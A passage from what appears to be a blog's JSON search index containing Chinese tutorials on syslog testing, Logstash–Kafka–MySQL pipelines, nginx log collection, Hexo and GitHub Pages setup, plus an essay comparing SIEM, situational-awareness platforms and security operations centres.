通过数据源服务器telnet一下日志服务器地址和端口，看端口是不是通的。 有很多服务器上可能没有装telnet，也可以用ssh ip 端口 来验证一下。\n3、发送简单的报文测试 在对端通过发送udp报文来进行简单的测试 如日志接收服务器地址是172.28.65.32，端口514 则可以通过echo “hello” \u0026gt; /dev/udp/172.28.65.32/514 来发送测试报文 在日志接收服务器用tcpdump收下有没有监听到报文过来。\n1 tcpdump udp port 514 -A -i any 如果有就会有相应的显示 4、进行正式接口对接 如果tcpdump可以收到日志，那就说明syslog的通信是没有问题的，接下来就可以进行具体的syslog的配置的调测了。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-18-syslog%E6%97%A5%E5%BF%97%E6%8E%A5%E5%8F%A3%E8%B0%83%E8%AF%95%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003e日志数据采集，比较方便常用的就是通过syslog来进行数据采集，syslog可以通过udp协议来进行高效的数据传输。一般来说在工程实施的过程中需要对接对端系统的数据采集源可以通过以下步骤来进行syslog日志接口的调试。主要是验证syslog日志是否能正常送到指定的日志服务器的指定端口，日志服务器的指定端口是否能正常收到对端发过来的日志。\u003c/p\u003e","title":"syslog日志接口调试方法"},{"content":"logstash是一个非常灵活好用的数据采集框架工具，可以通过简单的配置满足绝大多数数据采集场景的需求。 采集数据一个非常典型的场景就是将数据先放到kafka队列里削峰，然后从kafka队列里读取数据到mysql或其他存储系统中进行保存。 本文通过一个简单的示例来演示从syslog采集日志到kafka然后在从kafka写到mysql数据库中。 默认已经安装好了kafka、mysql、logstash，并已经经过简单的验证。\n准备logstash的环境 一、下载mysql的jdbc驱动包 下载地址：https://mvnrepository.com/artifact/mysql/mysql-connector-java/8.0.15 下载后放到logstash的安装目录的/vendor/jar/目录下\n二、安装logstash插件 logstash默认安装了kafka插件，但是mysql插件没有默认安装需要自己安装。 具体安装方法 /bin/logstash-plugin install logstash-output-jdbc ，这里应为要用到logstash写入mysql数据库，所以安装的插件是logstash-output-jdbc，如果要用到从mysql读数据，那么就要安装logstash-input-jdbc。安装方法类似。 因为安装时需要访问国外的源，安装进度很慢很慢，还经常安装不成功，所以需要更改国内的源。 也就是给 Ruby 换成国内的镜像站：https://gems.ruby-china.com/，替代https://rubygems.org。请注意：国内的镜像站从https://gems.ruby-china.org 换成了 https://gems.ruby-china.com ！！！ 现在很多网上的资料就都是写的https://gems.ruby-china.org，导致很多人换了镜像源也装不上。 具体方法如下：\n1. 安装Gem并更新 1 2 3 4 5 6 # yum install -y gem # gem -v 2.0.14.1 # gem update --system # gem -v 2.7.7 2. 检查并修改镜像源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # gem sources -l *** CURRENT SOURCES *** https://rubygems.org/ # gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/ https://gems.ruby-china.org/ added to sources https://rubygems.org/ removed from sources # cat ~/.gemrc --- :backtrace: false :bulk_threshold: 1000 :sources: - https://gems.ruby-china.org/ :update_sources: true :verbose: true 请注意：国内的镜像站从https://gems.ruby-china.org 换成了 https://gems.ruby-china.com ！！！现在很多网上的资料就都是写的https://gems.ruby-china.org，导致很多人换了镜像源也装不上。\n3. 修改 logstash的 gem 镜像源 cd到logstach的安装目录，可以看到Gemfile文件\n1 2 3 4 5 6 7 # vi Gemfile # This is a Logstash generated Gemfile. # If you modify this file manually all comments and formatting will be lost. source \u0026#34;https://rubygems.org\u0026#34; gem \u0026#34;logstash-core\u0026#34;, :path =\u0026gt; \u0026#34;./logstash-core\u0026#34; ...... 更改默认的 https://rubygems.org 为https://gems.ruby-china.com 4. 安装 logstash-output-jdbc 1 2 3 4 #/bin/logstash-plugin install logstash-output-jdbc Validating logstash-output-jdbc Installing logstash-output-jdbc Installation successful 5.查看插件是否安装成功 在logstash的bin目录下执行./logstash-plugin list 可以查看已经安装的插件，可以看到logstash-output-jdbc的插件已经装好。 配置logstash 新建一个pipline.conf的配置文件\n1 vi test-pipeline.conf 文件内容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 input { stdin{ #用于测试标准控制台输入的数据 type =\u0026gt; \u0026#34;test-log\u0026#34; } syslog{ #用于接收来自syslog的日志 type =\u0026gt; \u0026#34;test-log\u0026#34; port =\u0026gt; 514 } kafka { bootstrap_servers =\u0026gt; \u0026#34;172.28.65.26:9092\u0026#34; #kafka服务器地址 topics =\u0026gt; \u0026#34;test1\u0026#34; #kafka订阅的topic主题 codec =\u0026gt; \u0026#34;json\u0026#34; #写入的时候使用json编码，因为logstash收集后会转换成json格式 consumer_threads =\u0026gt; 1 decorate_events =\u0026gt; true add_field =\u0026gt; { \u0026#34;logsource\u0026#34; =\u0026gt; \u0026#34;kafkalog\u0026#34; } } } output { if ([type]==\u0026#34;test-log\u0026#34; and \u0026#34;kafkalog\u0026#34; not in [logsource]) { kafka { codec =\u0026gt; json topic_id =\u0026gt; \u0026#34;test1\u0026#34; bootstrap_servers =\u0026gt; \u0026#34;172.28.65.26:9092\u0026#34; batch_size =\u0026gt; 1 } } if ([type] == \u0026#34;test-log\u0026#34; and \u0026#34;kafkalog\u0026#34; in [logsource]) { jdbc { driver_jar_path =\u0026gt; \u0026#34;/opt/elk/logstash-7.6.0/vendor/jar/jdbc/mysql-connector-java-8.0.15.jar\u0026#34; driver_class =\u0026gt; \u0026#34;com.mysql.jdbc.Driver\u0026#34; connection_string =\u0026gt; \u0026#34;jdbc:mysql://172.28.65.32:3306/testdb?user=yourdbuser\u0026amp;password=yourpassword\u0026#34; statement =\u0026gt; [ \u0026#34;INSERT INTO test_nginx_log (message) VALUES(?)\u0026#34;, \u0026#34;message\u0026#34;] } } stdout { codec =\u0026gt; rubydebug } } 这个逻辑就是从stdin或syslog接收数据output到kafka,然后从kafka中取出数据加入了一个logsource的字标识是从kafka过来的数据，然后又output到 jdbc写到mysql中去。 如果没有这几个if的逻辑判断，那么就会是个死循环。从kafka读同样的数据又写到kafka中。如果在两台机器上装有logstash一台取数据放到kafka,一台从kafka中取数据放到mysql中就可以不用加这样的判断逻辑会单纯简单一些。\n执行logstash并查看效果 通过在logstash安装目录下执行 bin/logstash -f test-pipeline.conf \u0026ndash;config.test_and_exit 检查配置文件是否有问题，没有问题以后执行bin/logstash -f test-pipeline.conf \u0026ndash;config.reload.automatic 运行logstash。 在控制台输入\n1 this is a test! 效果： 从控制台输入信息，可以看到从stdin输入output到stdout的没有logsource标识，input从kafka订阅过来的信息加了一个logsource=\u0026gt;kafkalog的标识。 用kafka tool工具看到kafka收到了从stdin发过来的信息。 在看MySQL表里的数据，已经通过logstash从kafka中将数据采集到了MySQL的表中。 再来看从syslog采集日志的效果 从控制台看到的信息效果 从kafka tool看到的效果 从mysql 表中看到的效果。 可以看到，logstash是一个非常灵活好用的数据采集框架工具，可以通过简单的配置就能满足绝大多数数据采集场景的需求。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-16-logstash%E9%9B%86%E6%88%90kafkamysql%E5%AE%9E%E7%8E%B0%E6%95%B0%E6%8D%AE%E9%87%87%E9%9B%86/","summary":"\u003cp\u003elogstash是一个非常灵活好用的数据采集框架工具，可以通过简单的配置满足绝大多数数据采集场景的需求。\n采集数据一个非常典型的场景就是将数据先放到kafka队列里削峰，然后从kafka队列里读取数据到mysql或其他存储系统中进行保存。\n\u003cimg alt=\"从syslog采集日志到kafka然后在从kafka写到mysql数据库中\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200316/blogimage/1.png\"\u003e\n本文通过一个简单的示例来演示从syslog采集日志到kafka然后在从kafka写到mysql数据库中。\n默认已经安装好了kafka、mysql、logstash，并已经经过简单的验证。\u003c/p\u003e","title":"logstash集成kafka，mysql实现数据采集"},{"content":"用Hexo搭了个Gitpage的博客，兴冲冲的发了11篇博文后发现翻页按钮不正常显示，显示为\u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;的HTML编码。如下图： \u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;这是个什么鬼？ 这是一个Font Awesome的字体图标，按道理来说这个图标应该可以正常显示的，现在这个图标不能显示了显示成了html源码。 解决办法: 最简单的办法就是将\u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;这个不能正常显示的字体图标改成一般的字符，我这里就是改成正常的一般左右键字符“\u0026gt;”，“\u0026lt;”。 在 themes\\hexo-theme-next\\layout_partials 下找到hexo-theme-next的翻页组件，就是pagination.swig 将\n{% if page.prev or page.next %}\r\u0026lt;nav class=\u0026#34;pagination\u0026#34;\u0026gt;\r{{\rpaginator({\rprev_text: \u0026#39;\u0026lt;i class=\u0026#34;fa fa-angle-left\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;,\rnext_text: \u0026#39;\u0026lt;i class=\u0026#34;fa fa-angle-right\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;,\rmid_size: 1\r})\r}}\r\u0026lt;/nav\u0026gt;\r{% endif %} 改成\n{% if page.prev or page.next %}\r\u0026lt;nav class=\u0026#34;pagination\u0026#34;\u0026gt;\r{{\rpaginator({\rprev_text: \u0026#39;\u0026lt;\u0026#39;,\rnext_text: \u0026#39;\u0026gt;\u0026#39;,\rmid_size: 1\r})\r}}\r\u0026lt;/nav\u0026gt;\r{% endif %} 重新发布以后可以看到翻页按钮可以正常显示了 作者博客:http://xiejava.ishareread.com\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-10-%E8%A7%A3%E5%86%B3hexo%E5%8D%9A%E5%AE%A2%E6%A8%A1%E6%9D%BFhexo-theme-next%E7%9A%84%E7%BF%BB%E9%A1%B5%E6%8C%89%E9%92%AE%E4%B8%8D%E6%AD%A3%E5%B8%B8%E6%98%BE%E7%A4%BA%E9%97%AE%E9%A2%98/","summary":"\u003cp\u003e用Hexo搭了个Gitpage的博客，兴冲冲的发了11篇博文后发现翻页按钮不正常显示，显示为\u003ccode\u003e\u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;\u003c/code\u003e的HTML编码。如下图：\n\u003cimg alt=\"HTML编码\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200310/blogimage/1.png\"\u003e\n\u003ccode\u003e\u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;\u003c/code\u003e这是个什么鬼？\n这是一个Font Awesome的字体图标，按道理来说这个图标应该可以正常显示的，现在这个图标不能显示了显示成了html源码。\n\u003cimg alt=\"Font Awesone图标\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/20200310/blogimage/2.png\"\u003e\n\u003cstrong\u003e解决办法:\u003c/strong\u003e\n最简单的办法就是将\u003ccode\u003e\u0026lt;i class=\u0026quot;fa fa-angle-right\u0026quot;\u0026gt;\u0026lt;/i\u0026gt;\u003c/code\u003e这个不能正常显示的字体图标改成一般的字符，我这里就是改成正常的一般左右键字符“\u0026gt;”，“\u0026lt;”。\n在 themes\\hexo-theme-next\\layout_partials 下找到hexo-theme-next的翻页组件，就是pagination.swig\n将\u003c/p\u003e","title":"解决Hexo博客模板hexo-theme-next的翻页按钮不正常显示问题"},{"content":"由于nginx功能强大，性能突出，越来越多的web应用采用nginx作为http和反向代理的web服务器。而nginx的访问日志不管是做用户行为分析还是安全分析都是非常重要的数据源之一。如何有效便捷的采集nginx的日志进行有效的分析成为大家关注的问题。本文通过几个实例来介绍如何通过filebeat、logstash、rsyslog采集nginx的访问日志和错误日志。\n大家都知道ELK技术栈是采集、分析日志的利器。所以这里介绍的是从nginx采集日志到ES。当然至于日志采集以后存到看大家的需要。通过logstash可以方便的配置日志输出存储的方式。\n一般来说nginx默认安装后，日志文件在 /usr/local/nginx/logs 目录下。分别有 access.log和error.log 访问日志和错误日志。 这次示例Elasitcsearch是三个节点组成的集群172.28.65.22、172.28.65.23、172.28.65.24，172.28.65.30 是kibana的地址，172.28.65.32是数据采集服务器，上面装有logstash、nginx、 filebeat。一般来说采集服务器上有logstash，而nginx、 filebeat应该是装在采集目标上。\n一、直接通过filebeat采集日志到ES 在filebeat的安装目录找到filebeat.yml 配置获取日志文件的路径及输出到ES的配置。 具体：\n1 2 3 4 5 6 7 8 - type: log # Change to true to enable this input configuration. enabled: true # Paths that should be crawled and fetched. Glob based paths. paths: #- /var/log/*.log - /usr/local/nginx/logs/*.log #- c:\\programdata\\elasticsearch\\logs\\* 如果需要在kibana中友好显示的化，可进行kibana配置 输出到es中，在hosts中配置好你的ES服务地址。如果单机只有一个节点，就可以只配一个ip和端口。 启动filebeat 进行日志数据采集\n1 ./filebeat -e -c filebeat.yml -d \u0026#34;publish\u0026#34; 通过elasticsearch-head插件查看es索引中的日志信息 可以看到nginx中的access.log和error.log的日志都已经上来了。 在kibana中通过filebeat-*过滤看filebeat的索引，可以看到通过filebeat采过来的数据。\n这种直接通过filebeat直接对接ES采日志的方式简单直接，但是无法对采集的日志进行预处理和其他一些操作，也不够灵活。 可以在filebeat 和 ES之间加一层Logstash，可以将filebeat于ES解耦，通过Logstash可以做一些预处理，也可以通过Logstash采集到除ES以外的其他数据存储上。\n二、通过filebeat采集日志到logstash再送到ES 首先得安装 logstash ，安装完后在logstash的安装目录下新建vi filebeat-pipeline.conf filebeat-pipeline.conf的具体配置如下：\n1 2 3 4 5 6 7 8 9 input { beats { port =\u0026gt; \u0026#34;5044\u0026#34; } } output { elasticsearch { hosts =\u0026gt; [\u0026#34;172.28.65.24:9200\u0026#34;] } stdout { codec =\u0026gt; rubydebug} } input配置表示通过5044端口接收beats的数据 output配置表示输出到elasticsearch，并且同时输出到标准输出也就是控制台。 然后通过命令\n1 bin/logstash -f filebeat-pipeline.conf --config.reload.automatic 应用filebeat-pipeline.conf启动logstash。 启动以后可以看到logstash的启动日志5044端口的服务已经起了，可以接受通过filebeat通过5044端口传过来的数据了。 接下来配置filebeat 在filebeat的安装目录找到filebeat.yml 配置获取日志文件的路径及输出到logstash的配置。不直接输出到ES了。 具体配置如下： 将output.elasticsearch的配置屏蔽 配置output.logstash，配置正确的logstash的服务主机和端口 启动filebeat 进行日志数据采集\n1 ./filebeat -e -c filebeat.yml -d \u0026#34;publish\u0026#34; 我们访问nginx服务提供的web服务http://172.28.65.32/ 在logstash的控制台 可以看到相应的访问access.log 日志 同时在ES 中也可以看到有相应的日志数据 三、直接通过rsyslog采集日志到logstash在送到ES 在很多情况下你需要采集的web服务器并不是自己能够控制的，不是说你想装filebeat就可以让你装的，这时候就可以要求目标数据源通过 syslog 的方式将日志发出来。我们可以再通过 logstash送到ES或其他的日志存储处理平台。 通过syslog往日志服务器上发nginx的日志有两种方式，一种就是利用nginx的配置往外发日志，一种就是通过配置linux的rsyslog的配置往外发日志。\n通过nginx配置发送syslog到logstash 参考见nginx官方文档：http://nginx.org/en/docs/syslog.html 具体配置如下： 在nginx的配置文件nginx.conf中 在server下配置access_log和error_log的输出方式\n1 2 access_log syslog:server=172.28.65.32:514,facility=local7,tag=nginx_access_log,severity=info; error_log syslog:server=172.28.65.32:514,facility=local7,tag=nginx_error_log,severity=info; 配置完成后执行 ./nginx -s reload 使配置生效。这样就通过linux的rsyslog服务将nginx的日志往外发了。 接着来配置logstash的syslog的服务接收配置 。在logstash的安装目录下新建vi syslog-pipeline.conf syslog-pipeline.conf的具体配置如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 input { syslog{ type =\u0026gt; \u0026#34;system-syslog\u0026#34; port =\u0026gt; 514 } } output { elasticsearch { hosts =\u0026gt; [\u0026#34;172.28.65.24:9200\u0026#34;] index =\u0026gt; \u0026#34;system-syslog-%{+YYYY.MM}\u0026#34; } stdout { codec =\u0026gt; rubydebug} } input配置表示通过514端口接收syslog的数据 output配置表示输出到elasticsearch，并且同时输出到标准输出也就是控制台。 通过执行 bin/logstash -f syslog-pipeline.conf --config.reload.automatic 启动logstash 可以看到logstash启动以后开启了514端口的tcp和upd协议的侦听。 我们访问nginx服务提供的web服务http://172.28.65.32/ 在logstash的控制台 可以看到相应的nginx访问access和error的日志 同样通过Elasticsearch-head在ES 中也可以看到有相应的日志数据 通过配置rsyslog发送syslog日志到logstash 有些老版本的nginx不支持配置syslog输出日志，或者说我想输出其他不是nginx的日志该怎么办呢？可以通过直接配置rsyslog的方式来往外发送日志。 在/etc/rsyslog.conf 中配置\n1 $IncludeConfig /etc/rsyslog.d/*.conf 意思是可以引用外部的配置文件，引用外部的配置文件一方面可以不影响主配置文件，另一方面也比较好管理 在/etc/rsyslog.d目录下新建nginx-log.conf 配置如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ModLoad imfile $InputFilePollInterval 1 $WorkDirectory /var/spool/rsyslog $PrivDropToGroup adm ##Nginx访问日志文件路径，根据实际情况修改: $InputFileName /usr/local/nginx/logs/access.log $InputFileTag nginx-access: $InputFileStateFile stat-nginx-access $InputFileSeverity info $InputFilePersistStateInterval 25000 $InputRunFileMonitor ##Nginx错误日志文件路径，根据实际情况修改: $InputFileName /usr/local/nginx/logs/error.log $InputFileTag nginx-error: $InputFileStateFile stat-nginx-error $InputFileSeverity error $InputFilePersistStateInterval 25000 $InputRunFileMonitor *.* @172.28.65:514 配置好了以后，重启rsyslog服务\n1 systemctl restart rsyslog 我们访问nginx服务提供的web服务http://172.28.65.32/ 在logstash的控制台 可以看到同样的效果。 本文介绍了如何通过filebeat、logstash、rsyslog采集nginx的访问日志和错误日志的几种方式，具体需要根据实际情况灵活的运用。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-09-%E9%80%9A%E8%BF%87filebeatlogstashrsyslog%E9%87%87%E9%9B%86nginx%E6%97%A5%E5%BF%97%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/","summary":"\u003cp\u003e由于nginx功能强大，性能突出，越来越多的web应用采用nginx作为http和反向代理的web服务器。而nginx的访问日志不管是做用户行为分析还是安全分析都是非常重要的数据源之一。如何有效便捷的采集nginx的日志进行有效的分析成为大家关注的问题。本文通过几个实例来介绍如何通过filebeat、logstash、rsyslog采集nginx的访问日志和错误日志。\u003c/p\u003e","title":"通过filebeat、logstash、rsyslog采集nginx日志的几种方式"},{"content":"近年来SIEM、态势感知平台、安全运营中心等概念炒的火热，有的人认为这都是安全管理产品，这些产品就是一回事，有人认为还是有所区分。那么到底什么是SIEM、什么是态势感知平台、什么是安全运营中心，他们之间有什么联系和区别呢？\n一、SIEM SIEM英文是security information and event managemen安全信息和事件管理 SIEM是一个由多个监视和分析组件组成的安全系统，旨在帮助组织检测和减轻威胁 一款典型的SIEM产品是将许多其他安全规则和工具结合在一个综合的框架下形成的一个合集。 典型的包括以下模块 日志管理(LMS)——用于传统日志收集和存储的工具。 安全信息管理(SIM)——集中于从多个数据源收集和管理与安全相关的数据的工具或系统。例如，这些数据源可以是防火墙、DNS服务器、路由器和防病毒应用程序。 安全事件管理(SEM)——基于主动监视和分析的系统，包括数据可视化、事件相关性和警报 大多数的SIEM包括以下元素 1、安全数据采集 主要是基于安全日志数据，日志表示在数字环境中运行的进程的原始输出，是提供实时发生的事情的准确图像的最佳来源，因此是SIEM系统的主要数据源。无论是防火墙日志、服务器日志、数据库日志，还是在实际网络环境中生成的任何其他类型的日志，SIEM系统都能够收集这些数据并将其存储在一个中心位置以进行扩展的保留。此采集过程通常由代理或应用程序执行，部署在监视的系统上，并配置为将数据转发到SIEM系统的中央数据存储。 2、安全数据解析处理和标准化 为了能够跨不同源和事件相关性高效地解释数据，SIEM系统能够规范化日志。这个规范化过程包括将日志处理为可读的结构化格式，从日志中提取重要数据，并映射日志中包含的不同字段。 3、安全数据集中存储 安全信息数据存储的目地当然是为了利用数据进行管理分析发现安全事件。 4、安全数据分析 一旦收集、解析和存储，SIEM系统中的下一步将负责连接这些点并关联来自不同数据源的事件。这种关联工作基于各种SIEM工具提供的规则、为不同的攻击场景预定义的规则，或者由分析人员创建和调整的规则。大多数SIEM系统还提供生成报告的内置机制。这些报告可以用于管理、审计或合规性原因。例如，可以将详细描述触发警报或规则的每日报告嵌入到仪表板中。 5、安全数据呈现 可视化数据和事件的能力是SIEM系统中的另一个关键组件，因为它允许分析人员方便地查看数据。包含多个可视化或视图的仪表板有助于识别趋势、异常情况，并监控环境的总体健康或安全状态。一些SIEM工具将附带预先制作的仪表板，而另一些工具将允许用户创建和调整自己的仪表板。 基于目前海量的安全信息数据，大数据架构已经成为主流。并不是说SIEM必须使用大数据架构，因为这是一个应用场景问题而非技术问题。但面对大量数据需要处理的场景时，基于大数据架构的SIEM则必不可少。所以有些厂商提出了SDC（security data center）安全大数据中心的概念就是把所有的安全数据集中管理起来，在SDC的基础上构建安全数据分析和展现能力，形成SIEM平台。\n目前成熟的SIEM产品有很多，开源的有OSSIM、Elastic SIEM、Opensoc OSSIM是SIEM的代表性产品，在产品形式上和Kali类似是一个基于Debain进行二次开发的Linux发行版，当前5.6.5版本基于Dibian 8（jessie）。 OSSIM使用Nmap等实现资产发现、使用Nessus等实现漏洞扫描、使用Snort等实现入侵检测、使用MySQL等进行数据存储，自己实现的部分主要是工具、数据整合和可视化展示。ossim存储架构是mysql，支持多种日志格式，包括鼎鼎大名的Snort、Nmap、 Nessus以及Ntop等，对于数据规模不大的情况是个不错的选择，新版界面很酷炫 从架构上来看，OSSIM系统是一个开放的框架，它的核心价值在于创新的集成各开源软件之所长，它里面的模块既有C/S架构，又有B/S架构，但作为最终用户主要掌握OSSIM WebUI主要采用B/S架构，Web服务器使用Apache。OSSIM系统结构示意图如下图所示。 第1层，属于数据采集层，使用各种采集技术采集流量信息、日志、各种资产信息，经过归一化处理后传入核心层。改层体现安全事件来源，入侵检测、防火墙、重要主机发出的日志都是安全事件来源，它们按发出机制分为两类：模式侦查器和异常监控（两者都采集警告信息，功能互补）由它们采集的安全事件，再被Agent转换为统一的格式发到OSSIM服务器，这一层就是Sensor要完成的内容。 第2层，属于核心处理层，主要实现对各种数据的深入加工处理，包括运行监控、安全分析、策略管理、风险评估、关联分析、安全对象管理、脆弱性管理、事件管理、报表管理等。该层中OSSIM Server是主角，OSSIM服务器，主要功能是安全事件的集中并对集中后的事件进行关联分析、风险评估及严重性标注等。所谓的集中就是以一种统一格式组织所有系统产生的安全事件告警信息（Alarms）并将所有的网络安全事件告警存储到数据库，这样就完成了对网络中所产生事件的一个庞大视图。系统通过事件序列关联和启发式算法关联来更好的识别误报和侦查攻击的能力。 OSSIM本质上通过对各种探测器和监控产生的告警进行格式化处理，再进行关联分析，通过后期这些处理能提高检测性能，即减少告警数量，减小关联引擎的压力，从整体上提高告警质量。 第3层，属于数据展现层，主要负责完成与用户之间的交互，达到安全预警和事件监控、安全运行监控、综合分析的统一展示，形式上以图形化方式展示给用户。Web框架(Framework)控制台界面即OSSIM的Web UI（Web User Interface，Web用户界面），其实就是OSSIM系统对外的门户站点，它主要由仪表盘、SIEM控制台、Alarm控制台、资产漏洞扫描管理、可靠性监控、报表及系统策略等部分组成。 OSSIM主要模块的关系 OSSIM系统主要使用了PHP、Python、Perl和C等四种编程语言，从软件层面上看OSSIM框架系统包括五大模块：Agent模块、Server模块、Database数据库模块、Frameworkd模块以及Framework模块，逻辑结构如图所示。 Elastic SIEM 的核心是全新的 SIEM 应用，此应用是安全团队的交互式工作空间，可允许他们对事件进行分类并开展初期调查。其中包括的时间线事件查看器 (Timeline Event Viewer) 能够允许分析师收集和存储攻击证据，固定相关活动并添加注释，以及添加评论并分享他们的发现，而且这一切在 Kibana 中即可完成；这样一来，您便能够轻松处理符合 ECS 格式的任何数据了。 Opensoc是思科2014年在BroCon大会上公布的开源项目，但是没有真正开源其源代码，只是发布了其技术框架。可以参考Opensoc发布的架构，结合实际落地SIEM的方案。Opensoc完全基于开源的大数据框架kafka、storm、spark和es等，天生具有强大的横向扩展能力 所以从SIEM的定义和功能来看有两个核心能力，一个是安全信息数据的采集汇聚能力，一个就是安全事件的分析能力。\n二、安全态势感知平台 “态势感知”早在 20 世纪 80 年代由美国空军提出，其包含感知、理解和预测三个层次。截止目前，业界对网络安全态势感知还没有一个统一全面的定义，基于美国Endsley 博士的理论对网络安全态势感知做出的定义：“网络安全态势感知是综合分析网络安全要素，评估网络安全状况，预测其发展趋势，并以可视化的方式展现给用户，并给出相应的报表和应对措施。” 什么是态势感知平台，大家都认为应该是利用大数据、机器学习等技术对态势感知态势海量数据进行提取，进行多维度的关联分析。能够提供对安全风险保持报警、趋势预测等，海量数据、关联分析、大屏展示和趋势预测是四个重点。而趋势预测最核心，目前做起来也比较难。 个人理解，SIEM重点在于对安全事件的感知和理解，态势感知重点在于通过大数据、机器学习等技术加深了对安全趋势的预测。国外一般不提态势感知系统，而国内，很多厂商都推出了态势感知系统。 目前国内安全厂商提供的“态势感知产品”包含的功能模块有：资产管理、漏洞管理、大数据平台、日志分析平台、威胁情报、沙箱、用户行为分析、网络流量分析、取证溯源、威胁捕捉等能力。 几个关键点： 1、 大数据平台。随着监测范围的扩大，数据量也在扩大，需要一个具备大数据处理和计算能力的平台，这是整个态势感知平台建设很重要的基础。 2、 基于威胁情报的监测。威胁情报对于降低大量数据和报警中的垃圾数据或者报警噪声，帮助更快速、更高效的发现攻击行为和攻击者非常关键，威胁情报的质量是检验态势感知平台能力的很重要的方面。 3、 全要素数据的采集。利用态势感知这样的平台能力的核心目的，是要监测到复杂的、高级的攻击，就需要态势感知平台首先要捕获到微观的状态，低成本、高效率的全要素数据采集能力是基础。 4、 基于攻击场景的分析研判。攻击不再是基于特征的监测，需要运用威胁情报、运用一些专家的经验，来构建基于场景的分析系统，它不是一个静态的东西，是一个与时俱进的攻防对抗过程中不断学习、学习参考的过程，需要持续运营这样的分析管理，需要更多的专家的经验和安全运营人员的参与。\n三、安全运营中心 SOC（安全运营中心）来源于NOC（网络运营中心）。 随着信息安全问题的日益突出，安全管理理论与技术的不断发展，需要从安全的角度去管理整个网络和系统，而传统的NOC在这方面缺少技术支撑，于是，出现了SOC的概念。 以前大家所说的SOC是SOC 1.0阶段，只是在SOC的核心部件SIEM的买卖，国外所说的SOC是一个复杂的系统，它使用SIEM产品进行运维又以此向客户提供服务，也就是我们所说的SOC 2.0 SOC(安全运营中心)是以资产为核心，以安全事件管理为关键流程，采用安全域划分的思想，建立一套实时的资产风险模型，协助管理员进行事件及风险分析，预警管理，应急响应的集中安全管理系统。 SOC是一个复杂的系统，它既有产品，又有服务，还有运维，SOC是技术、流程和人的有机结合。 随着安全态势感知平台的兴起，安全运营中心将以态势感知平台作为智能安全运营的载体，在风险监测、分析研判、通知协作、响应处置、溯源取证等各方面进行了增强，同时融入了当前流行的技术和平台作为支撑，如大数据技术、东西向流量采集技术，EDR 终端检测响应技术、机器学习、欺骗攻击技术等。同时态势感知平台与 ITIL（Information Technology Infrastructure Library，ITIL）理念与信息安全管理标准相融合，将安全运营划分为不同角色，如安全管理人员、安全专家、安全运维、安全分析师、安全应急响应人员、安全研究人员等，在集成了安全事件管理全生命周期的流程中，通过工作流程将其串联起来，使安全运营流程更加规范和有序。\n所以个人认为SDC\u0026lt;SIEM\u0026lt;态势感知\u0026lt;安全运营中心\n博客文章：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2020-03-02-%E6%B5%85%E6%9E%90siem%E6%80%81%E5%8A%BF%E6%84%9F%E7%9F%A5%E5%B9%B3%E5%8F%B0%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B8%AD%E5%BF%83/","summary":"\u003cp\u003e近年来SIEM、态势感知平台、安全运营中心等概念炒的火热，有的人认为这都是安全管理产品，这些产品就是一回事，有人认为还是有所区分。那么到底什么是SIEM、什么是态势感知平台、什么是安全运营中心，他们之间有什么联系和区别呢？\u003c/p\u003e","title":"浅析SIEM、态势感知平台、安全运营中心"},{"content":"一、申请并配置Github Pages step1 在github上创建一个git库 用github账号登录https://github.com/ ，如没有github账号则申请一个github账号。登录后点击“New repository”新建一个名为username.github.io（username是你的github用户名）如我的是：xiejava1018.github.io ，如果库名以及存在则会报库名已经存在的错误。 step2 绑定自己的域名（如果没有自己的域名也可以不绑） 访问刚申请的git库，点击Settings 如果库名不是username.github.io（username是你的github用户名）在这里可以修改成username.github.io 拖到下面可以看到GitHub Pages的信息，如果不绑定自己的域名实际可以通过https://username.github.io/来访问你的站点了。 如果有申请自己的域名，可以将域名解析到你的GithubPages username.github.io 如我的是xiejava1018.github.io 在GitHub Pages的自定义域名Custom domain中输入刚解析的域名保存后就可以看到你的站点被发布到你的域名上了，如https://xiejavablog.ishareread.com/ 这时候你就可以用自己的域名来访问GitHub Pages的网站了，不过现在什么都没有，只有个空白页面。这就需要我们借助Hexo这个静态站点生成工具来生我们站点的内容了。\n二、安装Hexo并生成站点 安装Hexo并生成站点可以参考官方的文档 https://hexo.io/zh-cn/docs/\n1、安装前的准备 安装 Hexo 相当简单，只需要先安装下列应用程序即可： Node.js (Node.js 版本需不低于 8.10，建议使用 Node.js 10.0 及以上版本) Git\n2、安装Hexo 所有必备的应用程序安装完成后，即可使用 npm 安装 Hexo。\n1 $ npm install -g hexo-cli 安装完了以后可以通过hexo version 查看相应的版本 3、生成站点 安装 Hexo 完成后，执行下列命令，Hexo 将会在指定文件夹中新建所需要的文件。\n1 2 3 $ hexo init \u0026lt;folder\u0026gt; $ cd 